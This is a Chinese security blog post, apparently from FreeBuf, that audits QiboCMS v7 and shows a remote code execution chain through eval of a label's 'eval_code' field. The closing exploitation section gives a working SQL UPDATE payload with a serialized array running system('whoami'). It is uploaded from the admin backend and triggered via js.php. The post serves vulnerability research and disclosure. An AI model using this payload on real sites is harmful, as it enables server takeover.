齐博CMS\_v7-Rce漏洞 2023-02-01 11:43:07 所属地 广东省 ![](https://image.3001.net/images/20240308/1709876354_65eaa4828e91d155430d9.png) 本文由 创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载 齐博CMS\_v7-Rce漏洞 =============== 前言 -- 一直都是挖一下小cms的历史漏洞,然后突然就想挖一个原创的漏洞,就去齐博的官网下载了他们的cms,然后全局搜了一下eval,发现有一个可疑的利用点,就开始分析。 代码审计 ---- ### 漏洞点 #### label\_set\_rs.php lobal $db,$pre,$timestamp,$webdb,$TB_url; //分类的话,对于分表的情况,要特别处理,不支持其它频道调用,会出错 if($format[SYS]=='fenlei'&&!$rs[posttime]){ global $Fid_db; $_erp=$Fid_db[tableid][$rs[fid]]; $rs=$db->get_one("SELECT * FROM {$pre}{$format[wninfo]}content$_erp WHERE id='$rs[id]' "); } //读取自定义字段的表,方便调用,如果声明了noReadMid就不要读了 if($format[wninfo]&&$rs[mid]&&!$format[noReadMid]){ $_rss=$db->get_one("SELECT * FROM {$pre}{$format[wninfo]}content_{$rs[mid]} WHERE id='$rs[id]' "); $_rss && $rs=$rs+$_rss; //文章要读取自定义字段的表,方便调用 }elseif($format[SYS]=='artcile'&&$rs[mid]){ $_rss=$db->get_one("SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid='$rs[aid]' "); $_rss && $rs=$rs+$_rss; } //扩展接口,少用 if($format[eval_code]){ eval($format[eval_code]); } 我们发现这里的$format是我们传入的参数,而且是一个数组,当$formati\[eval\_code\]有值的时候,就会执行。我们找一下哪里调用了这个函数,发现在Get\_Title函数中调用了这个函数。 function Get_Title($format){ global $db,$webdb,$pre,$ModuleDB; //CMS万能文章专题里的文章 if($format['SYS']=='CMS'&&$format['ctype']=='special'){ return CMS_special($format); } //方便下面得到URL的真实列表地址 $page=1; if(strstr($format[sql],'$GLOBALS[')){ eval("\$format[sql]=\"$format[sql]\";"); } if(strstr($format[sql2],'$GLOBALS[')){ eval("\$format[sql2]=\"$format[sql2]\";"); } //此处屏障报错,主要是处理不同版本之间存在的一些差异性问题 $query=$db->query("$format[sql]",'','0'); if(!$query){ return ; } //辅助模板存在,并且辅助SQL存在的话,要读数据库 if($format[tplpart_2code]&&$format[sql2]){ $query2=$db->query($format[sql2],'','0'); $rs2=$db->fetch_array($query2); $rs2=label_set_rs($format,$rs2); } } 这里的$format\[SYS\]不能为CMS且$format\[sql\]为能准确执行的sql语句,而且$format\[sql2\]和$format\[tplpart\_2code\]都必须为true然后就能进入label\_set\_rs然后在js.php里调用了Get\_Title。 #### js.php document.domain = \"$webdb[cookieDomain]\";"; } echo ""; }else{ //JS式会拖慢主页面打开速度,不推荐 echo "document.write('$show');"; } exit; } require(dirname(__FILE__)."/"."global.php"); require_once(ROOT_PATH."inc/label_funcation.php"); $query=$db->query(" SELECT * FROM {$pre}label WHERE lid='$id' "); while( $rs=$db->fetch_array($query) ){ //读数据库的标签 if( $rs[typesystem] ) { unserialize($rs['code']); $_array=unserialize($rs[code]); var_dump($_array); $value=($rs[type]=='special')?Get_sp($_array):Get_Title($_array); if(strstr($value,"(/mv)")){ $value=get_label_mv($value); } if($_array[c_rolltype]) { $value="$value"; } } 首先这里的$id是通过$\_GET\['id'\]传入的且必须为数字,id与sql语句进行拼接,当查询出数据后就会进入循环,然后判断$rs\[tyoesystem\]是否为true,如果为true就会进入循环,然后对$rs\[code\]进行反序列化,然后这里的$rs\[type\]不能为special然后就会把数组传入Get\_Title。 ### 利用过程 登入后台 ![图片.png](https://image.3001.net/images/20230201/1675222879_63d9df5fe23321e8a5f9a.png) 在这里我们可以上传一个sql文件,创建一个1.sql,写入以下语句。 update qb_label set code='a:6:{s:13:"tplpart_1code";s:4:"test";s:13:"tplpart_2code";s:4:"test";s:3:"SYS";s:7:"artcile";s:9:"eval_code";s:17:"system("whoami");";s:3:"sql";s:24:"select * from qb_article";s:4:"sql2";b:1;}',typesystem=1,type='code' where lid=741; 然后上传,这里的lid可以爆破一下。 然后访问 ![图片.png](https://image.3001.net/images/20230201/1675222893_63d9df6d9a261b1af9bcb.png) 利用成功。 \# 漏洞